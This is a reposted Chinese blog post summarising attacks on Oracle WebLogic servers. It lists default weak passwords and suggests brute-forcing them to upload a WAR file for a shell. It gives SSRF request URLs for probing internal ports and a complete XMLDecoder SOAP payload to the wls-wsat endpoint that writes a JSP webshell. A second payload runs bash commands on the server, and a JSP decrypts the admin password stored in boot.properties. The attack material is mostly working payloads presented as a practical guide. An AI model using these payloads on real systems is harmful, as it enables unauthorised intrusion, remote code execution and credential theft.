针对Weblogic测试的一些小总结(转）

朱雀 2024-04-07 11:02 79阅读 0赞

##### 1. 管理员登录页面弱密码 #####

Weblogic的端口一般为`7001`，弱密码一般为`weblogic`/`Oracle@123` or `weblogic`，或者根据具体情况进行猜测，公司名，人名等等，再有就可以用**burpsuite**的**intruder**进行暴力破解，一旦成功就可以上传`war`包**getshell**.

[![8a54e16bfa1824b3684988fa103062d2.png][]][8a54e16bfa1824b3684988fa103062d2.png 1]

##### 2. weblogic ssrf #####

Oracle WebLogic web server即可以被外部主机访问，同时也允许访问内部主机。如果存在此url[http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp][http_192.168.8.128_7001_uddiexplorer_SearchPublicRegistries.jsp] 都会存在`ssrf`.下面我们监听一下`192.168.1.59:139`的`139`端口(`开启`)跟`138`端口(`未开启`)的返回，端口的开启情况

http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

[![71e7ab31f529d92919a6c51c9331be44.png][]][71e7ab31f529d92919a6c51c9331be44.png 1]

http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

[![dcf867a81bdc1fda573b736e6d02e6a9.png][]][dcf867a81bdc1fda573b736e6d02e6a9.png 1]

##### 3. weblogic反序列化 #####

Wenlogic`反序列化的漏洞`已经被爆出很长时间，网上可以找出各种各样的工具，在这里我就不再多提了。

[![32ef191d677c8f582f14c83d0f6f77ab.png][]][32ef191d677c8f582f14c83d0f6f77ab.png 1]

[![80c2087ff40c8b2109619130e3127a8d.png][]][80c2087ff40c8b2109619130e3127a8d.png 1]

##### 4. weblogic\_uac #####

第一步 抓取`http://x.x.x.x:7001/wls-wsat/CoordinatorPortType` 对其发起`POST`请求(任意包都可以，只要url对就可以)

[![2f04839d89cd8675e8ac7bdddcab779f.png][]][2f04839d89cd8675e8ac7bdddcab779f.png 1]

第二步 加入**Content-Type:text/xml**  
第三步 在`body`中放入payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                        <string><![CDATA[`此处放马(因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错，可删掉中文上传，也可进行编码处理)`
    ]]></string></void><void method="close"/>
                </object>
            </java>
          </java>
        </work:WorkContext>
      </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

[![80a4be00311f342f8f4888b249a09e53.png][]][80a4be00311f342f8f4888b249a09e53.png 1]

[![4041e04030818996ddfd16e8caa6cfdd.png][]][4041e04030818996ddfd16e8caa6cfdd.png 1]

以上为默认路径，如果不是默认路径同时又是`linux`系统可用以下payload`爆出路径`

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
       <soapenv:Header>
         <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
             <java version="1.8.0_131" class="java.beans.xmlDecoder">
               <void class="java.lang.ProcessBuilder">
                 <array class="java.lang.String" length="3">
                   <void index="0">
                     <string>/bin/bash</string>
                   </void>
                   <void index="1">
                     <string>-c</string>
                   </void>
                   <void index="2">
                     <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string>
                   </void>
                 </array>
               <void method="start"/></void>
             </java>
           </work:WorkContext>
         </soapenv:Header>
       <soapenv:Body/>
     </soapenv:Envelope>

##### 5. weblogic 在线与离线解密 #####

如有webshell可进行在线解密  
把以下代码放入服务器进行访问，`s=""`中填写weblogic的加密密码，可在`boot.properties`文件中找到。默认路径为`../../../Server/security/boot.properties`

[![9fbdaa175199292d276840c443c80124.png][]][9fbdaa175199292d276840c443c80124.png 1]

<%@page pageEncoding="utf-8"%>
    <%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
    <%
       EncryptionService es = null;
       ClearOrEncryptedService ces = null;
        String s = null;
        s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU=";
        es = SerializedSystemIni.getEncryptionService();
        if (es == null) {
           out.println("Unable to initialize encryption service");
            return;
        }
        ces = new ClearOrEncryptedService(es);
        if (s != null) {
            out.println("\nDecrypted Password is:" + ces.decrypt(s));
        }
    %>

离线解密需要两个文件`SerializedSystemIni.dat`和`boot.properties`

[![731870298d7fa9cf1b779559d3c47e69.png][]][731870298d7fa9cf1b779559d3c47e69.png 1]

来源： [https://xz.aliyun.com/t/2149][https_xz.aliyun.com_t_2149]

[8a54e16bfa1824b3684988fa103062d2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b87f650c711f460ca214920e2782c7f3.png
[8a54e16bfa1824b3684988fa103062d2.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143313-67a204b8-2688-1.png
[http_192.168.8.128_7001_uddiexplorer_SearchPublicRegistries.jsp]: http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp
[71e7ab31f529d92919a6c51c9331be44.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c8093c166a7a4789ac02b9bb6ebd3e3e.png
[71e7ab31f529d92919a6c51c9331be44.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143314-684d61c8-2688-1.png
[dcf867a81bdc1fda573b736e6d02e6a9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f020c84eef9f4cff82133ef355c76818.png
[dcf867a81bdc1fda573b736e6d02e6a9.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143316-69b3430c-2688-1.png
[32ef191d677c8f582f14c83d0f6f77ab.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d22738d5d46b4a88a1c3741bb3840962.png
[32ef191d677c8f582f14c83d0f6f77ab.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143319-6ba6f398-2688-1.png
[80c2087ff40c8b2109619130e3127a8d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0dd6af0430894161b8ed0c05063d6c23.png
[80c2087ff40c8b2109619130e3127a8d.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143322-6d524aee-2688-1.png
[2f04839d89cd8675e8ac7bdddcab779f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/dac74824287c480094a0b9b8fa785b82.png
[2f04839d89cd8675e8ac7bdddcab779f.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143323-6deb7408-2688-1.png
[80a4be00311f342f8f4888b249a09e53.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/93a1b4cc505a4aaca727d9b773ca3445.png
[80a4be00311f342f8f4888b249a09e53.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143327-70443956-2688-1.png
[4041e04030818996ddfd16e8caa6cfdd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e076dd26431948459f64ec5558b8612b.png
[4041e04030818996ddfd16e8caa6cfdd.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143329-7140decc-2688-1.png
[9fbdaa175199292d276840c443c80124.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/831941b74f54425f9939d9684b87159c.png
[9fbdaa175199292d276840c443c80124.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143329-71963f48-2688-1.png
[731870298d7fa9cf1b779559d3c47e69.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/21dcc72430354a999cdadf276e9d3d8e.png
[731870298d7fa9cf1b779559d3c47e69.png 1]: https://xianzhi.aliyun.com/forum/media/upload/picture/20180313143338-76b76fb0-2688-1.png
[https_xz.aliyun.com_t_2149]: https://xz.aliyun.com/t/2149